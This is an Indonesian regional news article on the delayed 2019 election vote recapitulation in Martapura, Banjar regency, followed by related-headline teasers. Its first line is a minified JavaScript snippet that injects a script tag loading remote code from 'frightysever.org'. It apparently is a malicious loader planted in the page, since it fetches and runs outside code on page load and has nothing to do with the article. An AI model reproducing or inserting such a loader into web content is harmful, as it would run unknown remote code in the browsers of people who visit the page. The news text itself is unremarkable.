(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Setelah melalui rapat rekapitulasi suara pemilu yang cukup alot di tingkat Kecamatan Martapura, akhirnya kotak suara tiba di Hotel Navotel Banjarbaru, Rabu (8/5) dinihari pukul 01.00 Wita. Ketua KPU Banjar Muhaimin mengatakan, kedatangan kotak suara dari Kecamatan Martapura Kabupaten Banjar ini maka proses rekapitulasi hasil penghitungan perolehan suara Pemilu 2019 segera akan dimulai dan diprediksi selesai sekitar satu setengah jam kedepan.
“Alhamdulilah proses rekapitulasi di Kecamatan Martapura sudah selesai tengah malam tadi, dan sekarang kita akan melanjutkan rekapitulasi tingkat Kabupaten Banjar,” ujarnya.
Sementara setelah rapat rekapitulasi di tingkat Kabupaten Banjar ini selesai, nantinya akan langsung dikirimkan ke KPU Provinsi Kalimantan Selatan pada subuh hari. Diketahui, sebelumnya rapat pleno ditingkat Kabupaten Banjar sendiri sempat molor tiga hari. Awalnya KPU Banjar memperkirakan pleno akan selesai dalam dua hari. Namun berbagai kendala mewarnai jalannya Pleno tingkat kabupaten yang diselenggarakan.
KPU Banjar menjadi kabupaten terakhir di Kalsel yang menyelenggarakan rapat pleno terbuka rekapitulasi hasil perhitungan perolehan suara pemilu 2019. Hal ini disampaikan Ketua KPU Banjar Sarmuji, Minggu (5/5) lalu.
“Hingga sekarang sudah ada 12 Kabupaten / kota yang sudah melaksanakan rapat pleno terbuka rekapitulasi hasil perolehan pemilu 2019, Kabupaten Banjar ini yang terakhir semoga berjalan dengan lancar,†ujarnya.
Rekapitulasi hasil perhitungan perolehan suara tingkat Kecamatan Martapura, Kabupaten Banjar ini dinilai paling lambat dan terakhir jika dibanding rekapitulasi 20 kecamatan lainnya. Imbasnya rekapitulasi penghitungan suara kabupaten yang digelar sejak Minggu (5/6) hingga Selasa (7/5) di hotel Novotel, jadi molor hingga sekarang. Bahkan, memasuki Rabu (8/5) pukul 00.30 Wita, rekap untuk Martapura belum rampung.
Padahal, rapat rekapitulasi ditingkat PPK Martapura yang dilaksanakan hingga Rabu dini hari ini dibackup KPU Banjar. Mengingat rata-rata anggota hingga Ketua PPK Martapura tidak dapat berhadir dan melaksanakan proses rekapitulasi secara maksimal dikarenakan sedang beristirahat dengan alasan sedang tidak fit atau sakit. Sebab mereka sudah terlalu over dalam melaksanakan tugas PPK.
Menanggapi hal tersebut, Ketua Bawaslu Banjar Fajri Tamzidillah mengatakan, proses rekapitulasi tingkat Kecamatan terus dan tetap dilaksanakan hingga selesai. Walaupun tidak dihadiri beberapa anggota PPK beserta ketuanya. Namun dalam prosesnya harus di backup oleh beberapa Komisioner dari KPU Banjar.
“Kita tidak mempermasalahkan, apakah ada atau tidaknya sebagaian anggota dan Ketua PPK dalam rekapitulasi ini. Yang penting data ini betul-betul sudah clear. Bahwa data yang dipeributkan disini sebenarnya yang paling penting itu adalah data yang dimiliki KPU Banjar itu sendiri, itulah yang disuguhkan,” jelasnya.
Fajeri menjelaskan, kendala mengapa rekapitulasi PPK Martapura ini terkesan lambat karena data yang dimiliki tidak falid. Sehingga menjadi perdebatan antara data yang dimiliki oleh saksi hingga partai politik yang memperebutkan kursi di dapil 1 Banjar tersebut. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.